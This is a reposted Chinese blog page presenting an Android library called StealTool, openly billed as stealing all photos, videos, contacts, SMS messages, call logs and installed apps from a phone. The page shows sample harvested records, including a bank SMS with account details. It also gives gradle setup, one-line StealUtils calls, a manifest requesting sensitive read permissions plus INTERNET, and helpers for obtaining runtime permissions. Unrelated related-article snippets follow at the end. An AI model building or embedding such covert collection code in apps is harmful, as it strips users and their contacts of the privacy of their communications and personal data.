盜取手機敏感信息,Android 6.0之上兼容

盜取手機敏感信息,Android 6.0之上兼容

項目介紹

  • 盜取信息包含:
    • 手機中所有照片
    • 手機中所有視頻
    • 手機中所有通訊錄
    • 手機中所有短信
    • 手機中所有通話記錄
    • 手機中所有安裝應用
  • 兼容Android 6.0及之上版本
  • 動態權限申請工具開放

效果展示

1.照片信息
    MaterialBean{mLogo='/storage/emulated/0/Pictures/Screenshots/Screenshot_2017-07-23-01-38-14.png', title='Screenshot_2017-07-23-01-38-14.png', time='2017-07-23 01:38', filePath='/storage/emulated/0/Pictures/Screenshots/Screenshot_2017-07-23-01-38-14.png', isChecked=false, fileSize=1025172, fileId=89cfda75f36e44e3a46235937a8c3000, uploadedSize=0, fileType=6, uploaded=false, progress=0, timeStamps='1536657493366', flag='0'}復制代碼
2.視頻信息
      MaterialBean{mLogo='/storage/emulated/0/DCIM/Camera/視頻/VID_20170917_130313.mp4', title='VID_20170917_130313.mp4', time='視頻時間-00:00:11', filePath='/storage/emulated/0/DCIM/Camera/視頻/VID_20170917_130313.mp4', isChecked=false, fileSize=29080924, fileId=7be02431aeff4d19b2612b686543ce10, uploadedSize=0, fileType=2, uploaded=false, progress=0, timeStamps='1536657639141', flag='0'}復制代碼
3.通訊錄
    PhoneUserInfo{id='daaf163b02d44e6dabf59cfb9a8c0958', name='*鵬', number='151**054191'}PhoneUserInfo{id='15aebbd2e6134e59992192b095f0e67c', name='侯*利', number='1830***2828'}PhoneUserInfo{id='28bcabbb14e24e3da4b5bd79c10dfa46', name='*八', number='187337**438'}PhoneUserInfo{id='3d637ea6910f4b71a105ae06b7ba3645', name='申通小哥', number='18513**8127'}復制代碼
4.短信
    [ 10659805436945326, 0, 【luckin coffee】小藍杯,北馬愛~送你一張5折券(全場飲品通用)下載app立享http://t.cn/RlQ2ad3 回TD退訂, 2018-09-11 01:42:27, 接收 ][ 95555, 0, 您賬戶8693091111:42入賬工資,人民幣22267.30。[招商銀行], 2018-09-11 11:46:28, 接收 ]復制代碼
5.通話記錄
     CallInfo{number='13141**2862', date=1527322406732, type=2}CallInfo{number='1891**85043', date=1527325280548, type=1}CallInfo{number='1360110**83', date=1527335837700, type=2}復制代碼
6.安裝App
    AppInfo{appName='CSDN', appIcon='android.graphics.drawable.BitmapDrawable@eb62aed'}AppInfo{appName='皮皮蝦', appIcon='android.graphics.drawable.BitmapDrawable@4f2ad22'}AppInfo{appName='Chrome', appIcon='android.graphics.drawable.BitmapDrawable@66043b3'}AppInfo{appName='UC瀏覽器', appIcon='android.graphics.drawable.BitmapDrawable@b0f8d70'}AppInfo{appName='抖音短視頻', appIcon='android.graphics.drawable.BitmapDrawable@75788e9'}復制代碼

最簡單使用方式

1. Add it in your root build.gradle at the end of repositories:
allprojects {repositories {...maven { url 'https://jitpack.io' }}}
復制代碼
2. Add the dependency
dependencies {implementation 'com.github.pengMaster:StealTool:1.0.0'}
復制代碼
3. Add use to activity
//獲取圖片
StealUtils.getAllLocalPhotos(this@MainActivity)//獲取視頻
StealUtils.getAllLocalVideos(this@MainActivity)//獲取聯系人
StealUtils.getAllContactInfo(this@MainActivity)//獲取短信
StealUtils.getSmsInPhone(this@MainActivity)//獲取通話記錄
StealUtils.getCallInfos(this@MainActivity)//獲取安裝所有App
StealUtils.getInstallApp(packageManager)java (this) = kotlin (this@MainActivity)
java (getPackageManager()) = kotlin (packageManager)復制代碼
4. add permission to your menifest
    <!--讀--><uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /><!--聯網--><uses-permission android:name="android.permission.INTERNET" /><!--聯系人--><uses-permission android:name="android.permission.READ_CONTACTS" /><uses-permission android:name="android.permission.READ_PHONE_STATE" /><!--短信--><uses-permission android:name="android.permission.READ_SMS" /><!--通話記錄--><uses-permission android:name="android.permission.READ_CALL_LOG" />
復制代碼

介紹一下很好用的Android6.0動態權限申請工具

申請一個權限:

PERMISSION_CAMERA = 申請權限(例如:Manifest.permission.READ_SMS)
REQUEST_CODE_CAMERA = 請求返回碼 重寫onRequestPermissionsResult()時用PermissionUtils.checkAndRequestPermission(mContext, PERMISSION_CAMERA, REQUEST_CODE_CAMERA,new PermissionUtils.PermissionRequestSuccessCallBack() {@Overridepublic void onHasPermission() {// 權限已被授予}});
復制代碼

然后在onRequestPermissionsResult中:

if(PermissionUtils.isPermissionRequestSuccess(grantResults)){// 權限申請成功}
復制代碼

什么?要同時申請多個權限?

    PermissionUtils.checkAndRequestMorePermissions(mContext, PERMISSIONS, REQUEST_CODE_PERMISSIONS,new PermissionUtils.PermissionRequestSuccessCallBack() {@Overridepublic void onHasPermission() {// 權限已被授予}});
復制代碼

當然上面這些都不是申請權限的正確姿勢,理想的姿勢應該是:

  • 第一次申請權限:按照正常流程走;
  • 如果用戶第一次拒絕了權限申請,第二次申請時應向用戶解釋權限用途;
  • 如果用戶勾選了“不再詢問”選項,應引導用戶去設置頁手動開啟權限。

于是,引申出了復雜版的權限申請方法:

自定義權限申請:

PERMISSION_CAMERA = 申請權限(例如:Manifest.permission.READ_SMS)
PermissionUtils.checkPermission(mContext, PERMISSION_CAMERA,new PermissionUtils.PermissionCheckCallBack() {@Overridepublic void onHasPermission() {// 已授予權限}@Overridepublic void onUserHasAlreadyTurnedDown(String... permission) {// 上一次申請權限被拒絕,可用于向用戶說明權限原因,然后調用權限申請方法。}@Overridepublic void onUserHasAlreadyTurnedDownAndDontAsk(String... permission) {// 第一次申請權限或被禁止申請權限,建議直接調用申請權限方法。}});
復制代碼

然后在onRequestPermissionsResult中:

PermissionUtils.onRequestPermissionResult(mContext, PERMISSION_CAMERA, grantResults, new PermissionUtils.PermissionCheckCallBack() {@Overridepublic void onHasPermission() {}@Overridepublic void onUserHasAlreadyTurnedDown(String... permission) {Toast.makeText(mContext, "我們需要"+Arrays.toString(permission)+"權限", Toast.LENGTH_SHORT).show();}@Overridepublic void onUserHasAlreadyTurnedDownAndDontAsk(String... permission) {Toast.makeText(mContext, "我們需要"+Arrays.toString(permission)+"權限", Toast.LENGTH_SHORT).show();// 顯示前往設置頁的dialog);}});
復制代碼

參與貢獻

  1. Fork 本項目
  2. 新建 Feat_xxx 分支
  3. 提交代碼
  4. 新建 Pull Request
  5. 權限工具參考:github.com/ifadai/Perm…

github地址

  • 項目地址:github.com/pengMaster/…

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/282175.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/282175.shtml
英文地址,請注明出處:http://en.pswp.cn/news/282175.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

再記一次Memory Leak分析

性能是優化出來的&#xff0c;不管是在上生產前&#xff0c;還是在上生產后。大部分性能在性能測試階段就能發現問題&#xff0c;但也有一些性能問題&#xff0c;結合生產的環境&#xff0c;生產數據才能表現出來&#xff0c;成為一個顯著的瓶頸。這次是生成pdf造成的內存泄露&…

PHP格式化全國省市區列表

一、代碼部分 /*** 獲取全國省市區列表&#xff08;格式化后&#xff09;*/public function getRegionList(){$data CoreRegion::find()->select([national_code, region_name, parent_id, region_level])->asArray()->all();$data $this->assembleRegionData($…

《C語言開發從入門到精通》一2.4 技術解惑

本節書摘來自異步社區《C語言開發從入門到精通》一書中的第2章&#xff0c;第2.4節&#xff0c;作者王長青 , 韓海玲&#xff0c;更多章節內容可以訪問云棲社區“異步社區”公眾號查看。 2.4 技術解惑 2.4.1 安裝Visual Studio的幾個常見問題 Visual Studio 2010容量巨大&…

POM思想__首頁頁面元素查找、功能點實現進行封裝

一、代碼如下 package www.gui.huohu.pom;import java.util.concurrent.TimeUnit;import org.openqa.selenium.By; import org.openqa.selenium.WebDriver; import org.openqa.selenium.WebElement; import org.openqa.selenium.firefox.FirefoxDriver; import org.openqa.sele…

061_Apex 異常捕捉

Trigger 中的錯誤處理 在 Trigger 中&#xff0c;我們可以為進行操作的數據進行驗證&#xff0c;類似于驗證規則。如果遇到不符合條件的數據&#xff0c;可以通過 addError() 函數來將錯誤顯示給用戶&#xff0c;并記錄日志。 在如下代碼中&#xff0c;當一個“業務機會”對象被…

從 C# 崩潰異常 中研究 頁堆 布局

一&#xff1a;背景 1.講故事最近遇到一位朋友的程序崩潰&#xff0c;發現崩潰點在富編輯器 msftedit 上&#xff0c;這個不是重點&#xff0c;重點在于發現他已經開啟了 頁堆 &#xff0c;看樣子是做了最后的掙扎。0:000> !analyze -v EXCEPTION_RECORD: (.exr -1) Except…

Win10筆記本不顯示wifi列表

一、問題描述 1、連接有線網絡時&#xff0c;只顯示連接到的有線網絡&#xff0c;而不顯示wifi列表 2、不連接有線網絡時&#xff0c;同樣不顯示wifi列表 二、解決方案 1、Win R 打開運行&#xff0c;并輸入services.msc 2、回車確定&#xff0c;找到WLAN AutoConfig項&…

《游戲大師Chris Crawford談互動敘事》一22.1 互動敘事前途無量

本節書摘來異步社區《游戲大師Chris Crawford談互動敘事》一書中的第22章&#xff0c;第22.1節&#xff0c;作者&#xff1a; 【美】Chris Crawford譯者&#xff1a; 方舟 責編&#xff1a; 陳冀康&#xff0c;更多章節內容可以訪問云棲社區“異步社區”公眾號查看。 22.1 互動…

交換兩個局部變量Integer的值

反射是很強大的&#xff0c;誰說的final修飾的就不能改變&#xff0c; 通過反射獲取成員變量&#xff0c;之后可以取消訪問修飾符&#xff0c;也就是說private的也可以訪問&#xff0c; 在修改常量&#xff08;final修飾的&#xff09;&#xff0c;之后就可以對其做任何操作了 …

搭建WeApacheb網站服務器

本地yum源安裝mkdir /opt/dvd (先用mkdir去根下opt目錄下建一個名字叫dvd的目錄)mount /dev/sr0 /opt/dvd (用mount命令&#xff0c;掛載光盤設備&#xff08;/dev/sr0&#xff09;,將光盤掛載到剛剛建立的dvd目錄下&#xff08;/opt/dvd&#xff09;)寫yum源配置文件|-cd…

PHP的構成及生命周期

一、PHP開源源代碼下載地址&#xff1a; https://github.com/php/php-src.git 二、PHP的構成 1、目錄結構 2、目錄分析 &#xff08;1&#xff09;sapi目錄是PHP的應用接口層。 &#xff08;2&#xff09;main為php的主要代碼&#xff0c;主要是輸入/輸出、Web通信、PHP框架…

《Adobe After Effects CS6完全剖析》——動畫:最重要的是關系

本節書摘來自異步社區《Adobe After Effects CS6完全剖析》一書中的第2章&#xff0c;動畫&#xff1a;最重要的是關系&#xff0c;作者 【美】Mark Christiansen&#xff08;馬克克里斯琴森&#xff09;&#xff0c;譯者 苗玉敏&#xff0c;郭圣路&#xff0c;曹玉臣&#xff…

Oracle即將發布的全新Java垃圾收集器 ZGC

Java 11的特性集合已經確定&#xff0c;其中包含了一些非常棒的特性。新版本提供了一個全新的垃圾回收器ZGC&#xff0c;它由甲骨文開發&#xff0c;承諾在TB級別的堆上實現非常低的停頓時間。在本文中&#xff0c;我們將介紹甲骨文開發ZGC的動機、ZGC的技術概覽以及ZGC帶來的一…

如何獲取 OSS AccessKeyId、AccessKeySecret

開通阿里云oss&#xff1a;https://www.aliyun.com/product/oss 1、點擊概覽 — AccessKey 注&#xff1a;官方鏈接 2、出現下圖&#xff0c;選擇“開始使用子用戶Access Key” 3、填寫用戶名&#xff0c;并點擊確定 4、這時會給你的手機發送驗證碼確定是本人操作&#xff0c;…

【網絡爬蟲入門02】HTTP客戶端庫Requests的基本原理與基礎應用

【網絡爬蟲入門02】HTTP客戶端庫Requests的基本原理與基礎應用 廣東職業技術學院 歐浩源 2017-10-15 1、引言 實現網絡爬蟲的第一步就是要建立網絡連接并向服務器或網頁等網絡資源發起請求。urllib是目前最常用的做法&#xff0c;然而Requests會比urlib更加方便&#xff0c;能…

5分鐘內看懂機器學習和深度學習的區別

歡迎大家前往騰訊云社區&#xff0c;獲取更多騰訊海量技術實踐干貨哦~ 本文由liuxuewen 發表于云社區專欄 在本文中&#xff0c;我們將研究深度學習和機器學習之間的差異。我們將逐一了解它們&#xff0c;然后討論他們在各個方面的不同之處。除了深度學習和機器學習的比較外&am…

《零信任的基石:使用 SPIFFE 為基礎設施創建通用身份》翻譯電子書分享

國慶假期除了去浙江和安徽玩了一圈欣賞江南山水和徽派建筑之外&#xff0c;還抽空翻譯了一本電子書。本書譯自 Solving the Bottom Turtle — a SPIFFE Way to Establish Trust in Your Infrastructure via Universal Identity。你可以選擇在線閱讀&#xff08;推薦&#xff09…

《Outlook時間整理術》一創建和使用自己的文件夾結構

本節書摘來異步社區《Outlook時間整理術》一書中的第1章&#xff0c;作者&#xff1a; 【德】Lothar Seiwert , Holger Woeltje 譯者&#xff1a; 歐陽宇&#xff0c;更多章節內容可以訪問云棲社區“異步社區”公眾號查看。 創建和使用自己的文件夾結構 花費約兩小時為電子郵件…

PHP 使用 OSS上傳文件

一、安裝阿里云 oss sdk 1、在網站根目錄執行下面命令&#xff0c;安裝oss sdk。 composer require aliyuncs/oss-sdk-php 安裝后&#xff0c;會在 網站根目錄/vendor 下找到一個名為 aliyuncs 的文件夾。 注&#xff1a;[阿里云 oss - sdk 文檔&#xff08;可不用關注&…

webpack常用配置

1.加載CSS 命令行輸入 npm install --save-dev style-loader css-loader webpack.config.js配置如下 const path require(path);module.exports {entry: ./src/index.js,output: {filename: bundle.js,path: path.resolve(__dirname, dist)},module: {rules: [{test: /\.css$…